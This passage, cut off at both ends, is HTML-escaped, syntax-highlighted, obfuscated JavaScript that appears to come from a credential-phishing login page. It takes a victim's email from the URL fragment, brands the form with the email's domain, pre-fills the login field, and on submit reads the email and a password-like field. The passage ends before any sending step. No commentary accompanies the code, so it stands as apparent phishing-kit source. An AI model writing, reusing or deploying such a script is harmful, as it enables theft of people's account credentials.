class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x3fa8f1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x3fa8f1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x101&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)][&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x3fa8f1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x362e6f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x3fa8f1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x3249d7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x362e6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x30e092&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x362e6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x3249d7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bdea5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x30e092&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x30e092&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x103e1a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bdea5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x79edc7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bdea5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;toUpperCase&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]();&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x362e6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x106&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3e8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;animate&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#ai2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x362e6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x121&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x30e092&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x113&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x79edc7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]();}&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x104&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f805d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x16a5c0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1308cf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f805d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x16a5c0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x102&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]?&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f805d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f805d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x16a5c0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1308cf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x16a5c0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];});&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x210725&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x43d150&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x50a638&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hide&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x43d150&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]();&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x2bd238&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2b4ff2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4b3e69&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bd238&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1c24be&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4b3e69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span 